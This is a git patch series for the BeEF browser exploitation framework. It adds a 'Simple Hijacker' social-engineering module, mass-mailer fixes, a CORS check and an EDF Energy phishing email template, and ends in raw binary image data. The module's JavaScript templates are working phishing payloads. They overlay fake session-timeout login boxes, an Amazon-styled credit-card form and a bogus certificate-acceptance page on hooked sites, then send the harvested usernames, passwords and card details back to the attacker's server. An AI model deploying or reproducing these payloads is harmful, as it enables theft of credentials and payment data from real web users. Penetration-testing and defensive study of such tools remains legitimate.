with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + simple_hijacker: + enable: true + category: "Social Engineering" + name: "Simple Hijacker" + description: "Hijack clicks on links to display what you want." + templates: ["credential", "confirmbox", "amazon", "chromecertbeggar"] + authors: ["gallypette"] + target: + user_notify: ['ALL'] diff --git a/modules/social_engineering/simple_hijacker/module.rb b/modules/social_engineering/simple_hijacker/module.rb new file mode 100644 index 000000000..d9a66c1dd --- /dev/null +++ b/modules/social_engineering/simple_hijacker/module.rb @@ -0,0 +1,50 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Simple_hijacker < BeEF::Core::Command + + def self.options + + config = BeEF::Core::Configuration.instance + @templates = config.get('beef.module.simple_hijacker.templates') + + # Defines which domains to target + data = [] + data.push({'name' =>'targets', 'description' =>'list domains you want to hijack - separed by ,', 'ui_label'=>'Targetted domains', 'value' => 'beef'}) + + # We'll then list all templates available + tmptpl = [] + @templates.each{ |template| + tplpath = "#{$root_dir}/modules/social_engineering/simple_hijacker/templates/#{template}.js" + raise "Invalid template path for command template #{template}" if not File.exists?(tplpath) + file = File.open(tplpath, "r") + data.push({'name' => template, 'type' => 'hidden', 'value' => file.read}) + tmptpl<<[ template] + } + + data.push({'name' => 'choosetmpl', 'type' => 'combobox', 'ui_label' => 'Template to use', 'store_type' => 'arraystore', 'store_fields' => ['tmpl'], 'store_data' => tmptpl, 'valueField' => 'tmpl', 'displayField' => 'tmpl' , 'mode' => 'local', 'emptyText' => "Choose a template"}) + + return data + end + + # + # This method is being called when a zombie sends some + # data back to the framework. + # + def post_execute + save({'answer' => @datastore['answer']}) + end + +end diff --git a/modules/social_engineering/simple_hijacker/templates/amazon.js b/modules/social_engineering/simple_hijacker/templates/amazon.js new file mode 100644 index 000000000..0c58ba121 --- /dev/null +++ b/modules/social_engineering/simple_hijacker/templates/amazon.js @@ -0,0 +1,28 @@ + beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null); + $j(document).attr('title', $j(this).html()); + document.body.scroll = 'no'; + document.documentElement.style.overflow = 'hidden'; + + collect = function(){ + answer = ""; + $j(":input").each(function() { + answer += " "+$j(this).attr("name")+":"+$j(this).val(); + }); + send(answer); + } + + // floating div + function writediv() { + sneakydiv = document.createElement('div'); + sneakydiv.setAttribute('id', 'hax'); + sneakydiv.setAttribute('display', 'block'); + sneakydiv.setAttribute('style', 'width:60%;position:fixed; top:200px; left:220px; z-index:51;background-color:#FFFFFF;opacity:1;font-family: verdana,arial,helvetica,sans-serif;font-size: small;'); + document.body.appendChild(sneakydiv); + sneakydiv.innerHTML= '
Your credit card details expired, please enter your new credit card credential to continue shopping-
Changes made to your payment methods will not affect orders you have already placed.
Your Account>

Add a Credit or Debit Card

  Edit your payment method:
Cardholder Name:
Exp. Date: 
Number:

Confirm
'; + } + + writediv(); + + $j("#confirm").click(function () { + $j('#hax').remove(); + }); diff --git a/modules/social_engineering/simple_hijacker/templates/chromecertbeggar.js b/modules/social_engineering/simple_hijacker/templates/chromecertbeggar.js new file mode 100644 index 000000000..d1adce6d5 --- /dev/null +++ b/modules/social_engineering/simple_hijacker/templates/chromecertbeggar.js @@ -0,0 +1,50 @@ + // floating div + function writediv() { + sneakydiv = document.createElement('div'); + sneakydiv.setAttribute('id', 'background'); + sneakydiv.setAttribute('oncontextmenu','return false;'); + sneakydiv.setAttribute('style', 'overflow:hidden;position:absolute;width:100%;height:100%;top:0px;left:0px;z-index:51;opacity:1;background-color:#500; font-family:Helvetica,Arial,sans-serif; margin:0px;'); + document.body.appendChild(sneakydiv); + sneakydiv.innerHTML= '
background
SSL Error Icon
Please accept our new SELF®-Signed Certificate to ensure maximum security protection.
'+domain+' chose SELF® to protect your security. If your browser raise any warning after this one it means that it\'s not up-to-date. Accept this certificate then please consider updating your browser as soon as possible.

SELF® - to make the Internet a safer place.
read more about the SELF® certification authority

Security Enhanced Layer Factory®: because nobody of us cannot realize the full potential of the Internet, unless it is a reliable place to interact and to deal. Our dependence on computers and the Internet increases every day, like our vulnerability. Daily news reports confirm a clear and present danger to all the Internet users (worms, viruses, trojans, malware, cybercrime, cyber-terrorism and related threats). These threats, mainly the very sophisticated group work of organized crime, directly harm millions of Internet users have real confidence in the Internet. Every individual or the company using the Internet has a role in the restoring of trust. SELF® help people as customer or seller to feel safe by issuing SELF®-signed certificate that are build to last. With SELF® you will never be harmed again - Trust is our workship.

Security Enhanced Layer Factory®, SELF® and SELF® logo are registered trademarks.

'; + toggleMoreInfo(true); + setDirectionSensitiveImages(); + } + + forward = function(){ + send("User continuing to "+target); + timer=setInterval(function(){window.location = target;},500); + } + + getDomain = function(url){ + return url.match(/:\/\/(www\.)?(.[^/:]+)/)[2]; + } + + function $(o) {return document.getElementById(o);} + + sendCommand = function(cmd) { + window.domAutomationController.setAutomationId(1); + window.domAutomationController.send(cmd); + } + + toggleMoreInfo = function(collapse) { + if (collapse) { + $("more_info_long").style.display = "none"; + $("more_info_short").style.display = "block"; + } else { + $("more_info_long").style.display = "block"; + $("more_info_short").style.display = "none"; + } + } + setDirectionSensitiveImages = function () { + if (document.documentElement.dir == 'rtl') { + $("twisty_closed_rtl").style.display = "inline"; + } else { + $("twisty_closed").style.display = "inline"; + } + } + + target = $j(this).attr('href'); + domain = getDomain(target); + $j(document).attr('title', domain+" Security Enhanced Layer Factory® certificate acceptance"); + writediv(); + diff --git a/modules/social_engineering/simple_hijacker/templates/confirmbox.js b/modules/social_engineering/simple_hijacker/templates/confirmbox.js new file mode 100644 index 000000000..d8c79bc7b --- /dev/null +++ b/modules/social_engineering/simple_hijacker/templates/confirmbox.js @@ -0,0 +1,10 @@ +var answer = confirm("Do you really want to leave us ??") +if (answer){ + alert("Okay :(") + send("User chose to leave."); + window.location = $j(this).attr('href'); +} +else{ + alert("Okay enjoy ") + send("User chose to stay."); +} diff --git a/modules/social_engineering/simple_hijacker/templates/credential.js b/modules/social_engineering/simple_hijacker/templates/credential.js new file mode 100644 index 000000000..d0b1eacb0 --- /dev/null +++ b/modules/social_engineering/simple_hijacker/templates/credential.js @@ -0,0 +1,105 @@ + imgr = "http://0.0.0.0:3000/ui/media/images/beef.png"; + var answer= ''; + + beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null); + $j(document).attr('title', $j(this).html()); + document.body.scroll = 'no'; + document.documentElement.style.overflow = 'hidden'; + + // set up darkening + function grayOut(vis, options) { + // Pass true to gray out screen, false to ungray + // options are optional. This is a JSON object with the following (optional) properties + // opacity:0-100 // Lower number = less grayout higher = more of a blackout + // zindex: # // HTML elements with a higher zindex appear on top of the gray out + // bgcolor: (#xxxxxx) // Standard RGB Hex color code + // grayOut(true, {'zindex':'50', 'bgcolor':'#0000FF', 'opacity':'70'}); + // Because options is JSON opacity/zindex/bgcolor are all optional and can appear + // in any order. Pass only the properties you need to set. + var options = options || {}; + var zindex = options.zindex || 50; + var opacity = options.opacity || 70; + var opaque = (opacity / 100); + var bgcolor = options.bgcolor || '#000000'; + var dark=document.getElementById('darkenScreenObject'); + if (!dark) { + // The dark layer doesn't exist, it's never been created. So we'll + // create it here and apply some basic styles. + // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917 + var tbody = document.getElementsByTagName("body")[0]; + var tnode = document.createElement('div'); // Create the layer. + tnode.style.position='absolute'; // Position absolutely + tnode.style.top='0px'; // In the top + tnode.style.left='0px'; // Left corner of the page + tnode.style.overflow='hidden'; // Try to avoid making scroll bars + tnode.style.display='none'; // Start out Hidden + tnode.id='darkenScreenObject'; // Name it so we can find it later + tbody.appendChild(tnode); // Add it to the web page + dark=document.getElementById('darkenScreenObject'); // Get the object. + } + if (vis) { + // Calculate the page width and height + if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) { + var pageWidth = document.body.scrollWidth+'px'; + var pageHeight = document.body.scrollHeight+'px'; + } else if( document.body.offsetWidth ) { + var pageWidth = document.body.offsetWidth+'px'; + var pageHeight = document.body.offsetHeight+'px'; + } else { + var pageWidth='100%'; + var pageHeight='100%'; + } + //set the shader to cover the entire page and make it visible. + dark.style.opacity=opaque; + dark.style.MozOpacity=opaque; + dark.style.filter='alpha(opacity='+opacity+')'; + dark.style.zIndex=zindex; + dark.style.backgroundColor=bgcolor; + dark.style.width= pageWidth; + dark.style.height= pageHeight; + dark.style.display='block'; + } else { + dark.style.display='none'; + } + } + + // function to send response + function win(){ + document.getElementById('hax').innerHtml='

Thank you for re-authenticating, you will now be returned to the application

'; + answer = document.getElementById('uname').value+':'+document.getElementById('pass').value; + } + + // perform darkening + grayOut(true); + + function checker(){ + processval = document.body.lastChild.getElementsByTagName("input")[2].value; + if (processval == "Processing..") { + uname = document.body.lastChild.getElementsByTagName("input")[0].value; + pass = document.body.lastChild.getElementsByTagName("input")[1].value; + answer = uname+":"+pass + send(answer); + // set lastchild invisible + document.body.lastChild.setAttribute('style','display:none'); + // lighten screen + grayOut(false); + clearInterval(credgrabber); + $j('#hax').remove(); + $j('#darkenScreenObject').remove(); + } + } + + + // floating div + function writeit() { + sneakydiv = document.createElement('div'); + sneakydiv.setAttribute('id', 'hax'); + sneakydiv.setAttribute('style', 'width:400px;height:320px;position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;font-family:\'Arial\',Arial,sans-serif;border-width:thin;border-style:solid;border-color:#000000'); + sneakydiv.setAttribute('align', 'center'); + document.body.appendChild(sneakydiv); + sneakydiv.innerHTML= '

Your session has timed out!

For your security, your session has been timed out. To continue browsing this site, please re-enter your username and password below.

Username:
Password:

'; + credgrabber = setInterval(checker,1000); + + } + + writeit(); From 716e7fe712ba6868d2df56d88e7e2bba441a8948 Mon Sep 17 00:00:00 2001 From: Jean-Louis Huynen Date: Wed, 5 Sep 2012 15:15:56 +0200 Subject: [PATCH 026/397] Change stupid code that made this module unusable with the API to something less stupid (i hope) --- modules/social_engineering/simple_hijacker/command.js | 8 +++++++- modules/social_engineering/simple_hijacker/module.rb | 2 -- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/modules/social_engineering/simple_hijacker/command.js b/modules/social_engineering/simple_hijacker/command.js index adcc3e4b2..e924ebb41 100644 --- a/modules/social_engineering/simple_hijacker/command.js +++ b/modules/social_engineering/simple_hijacker/command.js @@ -24,7 +24,13 @@ hijack = function(){ if ($j(this).attr('href') != '') { if( <% target.each{ |href| %> $j(this).attr('href').indexOf("<%=href%>") != -1 <% if href != target.last %> || <% else %> ) <% end %><% } %>{ - <%= instance_variable_get("@#{@choosetmpl}") %> + <% + tplpath = "#{$root_dir}/modules/social_engineering/simple_hijacker/templates/#{@choosetmpl}.js" + file = File.open(tplpath, "r") + @template = file.read + %> + + <%= @template %> beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Template "<%= @choosetmpl %>" applied to '+$j(this).attr('href')); } } diff --git a/modules/social_engineering/simple_hijacker/module.rb b/modules/social_engineering/simple_hijacker/module.rb index d9a66c1dd..6a40a85ed 100644 --- a/modules/social_engineering/simple_hijacker/module.rb +++ b/modules/social_engineering/simple_hijacker/module.rb @@ -29,8 +29,6 @@ class Simple_hijacker < BeEF::Core::Command @templates.each{ |template| tplpath = "#{$root_dir}/modules/social_engineering/simple_hijacker/templates/#{template}.js" raise "Invalid template path for command template #{template}" if not File.exists?(tplpath) - file = File.open(tplpath, "r") - data.push({'name' => template, 'type' => 'hidden', 'value' => file.read}) tmptpl<<[ template] } From 085f2775f37e81e62e4448e4a45ab4020baacf9d Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 6 Sep 2012 17:50:27 +0930 Subject: [PATCH 027/397] Added `beef.browser.hasCors()` function --- core/main/client/browser.js | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 42bfcaca0..519285a08 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -605,8 +605,8 @@ beef.browser = { * Checks if the Phonegap API is available from the hooked domain. * @return: {Boolean} true or false. * - * @example: if(beef.browser.hasJava()) { ... } - */ + * @example: if(beef.browser.hasPhonegap()) { ... } + */ hasPhonegap: function() { var result = false; try { if (!!device.phonegap) result = true; else result = false; } @@ -614,6 +614,21 @@ beef.browser = { return result; }, + /** + * Checks if the browser supports CORS + * @return: {Boolean} true or false. + * + * @example: if(beef.browser.hasCors()) { ... } + */ + hasCors: function() { + if ('withCredentials' in new XMLHttpRequest()) + return true; + else if (typeof XDomainRequest !== "undefined") + return true; + else + return false; + }, + /** * Checks if the zombie has Java installed and enabled. * @return: {Boolean} true or false. From 2f5fc46a8e64774b7ccdbe05e98de7c3f9b1de48 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Thu, 6 Sep 2012 11:26:31 +0100 Subject: [PATCH 028/397] Social Eng. Extension: fixed a bug in mass_mailer when choosing a different template. --- .../mass_mailer/mass_mailer.rb | 32 ++++++++++++------- .../rest/socialengineering.rb | 2 +- 2 files changed, 22 insertions(+), 12 deletions(-) diff --git a/extensions/social_engineering/mass_mailer/mass_mailer.rb b/extensions/social_engineering/mass_mailer/mass_mailer.rb index 221ca73e7..31e0f6a19 100644 --- a/extensions/social_engineering/mass_mailer/mass_mailer.rb +++ b/extensions/social_engineering/mass_mailer/mass_mailer.rb @@ -83,18 +83,20 @@ module BeEF rel_boundary = "------------#{random_string(24)}" header = email_headers(@from, fromname, @user_agent, to, subject, msg_id, boundary) - plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain"),boundary) + plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain", template), boundary) rel_header = email_related(rel_boundary) - html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html"),rel_boundary) + html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html", template),rel_boundary) images = "" - @config.get("#{@config_prefix}.templates.default.images").each do |image| + @config.get("#{@config_prefix}.templates.#{template}.images").each do |image| images += email_add_image(image, "#{@templates_dir}#{template}/#{image}",rel_boundary) end attachments = "" - @config.get("#{@config_prefix}.templates.default.attachments").each do |attachment| - attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}",rel_boundary) + if @config.get("#{@config_prefix}.templates.#{template}.attachments") != nil + @config.get("#{@config_prefix}.templates.#{template}.attachments").each do |attachment| + attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}",rel_boundary) + end end close = email_close(boundary) @@ -197,9 +199,9 @@ EOF end # Replaces placeholder values from the plain/html email templates - def parse_template(name, link, linktext, template_path) + def parse_template(name, link, linktext, template_path, template) result = "" - img_config = "#{@config_prefix}.templates.default.images_cids" + img_config = "#{@config_prefix}.templates.#{template}.images_cids" img_count = 0 File.open(template_path, 'r').each do |line| # change the Recipient name @@ -207,13 +209,21 @@ EOF result += line.gsub("__name__",name) # change the link/linktext elsif line.include?("__link__") - result += line.gsub("__link__",link).gsub("__linktext__",linktext) + if line.include?("__linktext__") + result += line.gsub("__link__",link).gsub("__linktext__",linktext) + else + result += line.gsub("__link__",link) + end # change images cid/name/alt elsif line.include?("src=\"cid:__") img_count += 1 - result += line.gsub("__cid#{img_count}__", - @config.get("#{img_config}.cid#{img_count}")).gsub("__img#{img_count}__", - @config.get("#{img_config}.cid#{img_count}")) + if line.include?("name=\"img__") || line.include?("alt=\"__img") + result += line.gsub("__cid#{img_count}__", + @config.get("#{img_config}.cid#{img_count}")).gsub("__img#{img_count}__", + @config.get("#{img_config}.cid#{img_count}")) + else + result += line.gsub("__cid#{img_count}__",@config.get("#{img_config}.cid#{img_count}")) + end else result += line end diff --git a/extensions/social_engineering/rest/socialengineering.rb b/extensions/social_engineering/rest/socialengineering.rb index cc3470333..a6aa9d188 100644 --- a/extensions/social_engineering/rest/socialengineering.rb +++ b/extensions/social_engineering/rest/socialengineering.rb @@ -102,7 +102,7 @@ module BeEF halt 401 end - if (link =~ URI::regexp).nil? || (linktext =~ URI::regexp).nil?#invalid URI + if (link =~ URI::regexp).nil?#invalid URI print_error "Invalid link or linktext" halt 401 end From 64ba4686f4d0c5f5a5d007961efe93d1b8f2b60c Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Thu, 6 Sep 2012 11:27:12 +0100 Subject: [PATCH 029/397] Social Eng. Extension: added EDF Energy phishing template :D --- .../mass_mailer/templates/edfenergy/2012.png | Bin 0 -> 9416 bytes .../templates/edfenergy/bottom-border.png | Bin 0 -> 33433 bytes .../templates/edfenergy/corner-bl.png | Bin 0 -> 2902 bytes .../templates/edfenergy/corner-br.png | Bin 0 -> 2893 bytes .../templates/edfenergy/corner-tl.png | Bin 0 -> 2900 bytes .../templates/edfenergy/edf_logo.png | Bin 0 -> 6982 bytes .../mass_mailer/templates/edfenergy/mail.html | 54 ++++++++++++++++++ .../templates/edfenergy/mail.plain | 19 ++++++ .../mass_mailer/templates/edfenergy/main.png | Bin 0 -> 56684 bytes .../templates/edfenergy/promo-corner-left.png | Bin 0 -> 3015 bytes .../edfenergy/promo-corner-right-arrow.png | Bin 0 -> 864 bytes .../templates/edfenergy/promo-reflection.png | Bin 0 -> 3576 bytes 12 files changed, 73 insertions(+) create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/2012.png create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/bottom-border.png create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/corner-bl.png create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/corner-br.png create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/corner-tl.png create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/edf_logo.png create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/mail.html create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/mail.plain create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/main.png create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/promo-corner-left.png create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/promo-corner-right-arrow.png create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/promo-reflection.png diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/2012.png b/extensions/social_engineering/mass_mailer/templates/edfenergy/2012.png new file mode 100644 index 0000000000000000000000000000000000000000..9a7d904deacbb72ef05e438f657a1c380563fe20 GIT binary patch literal 9416 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 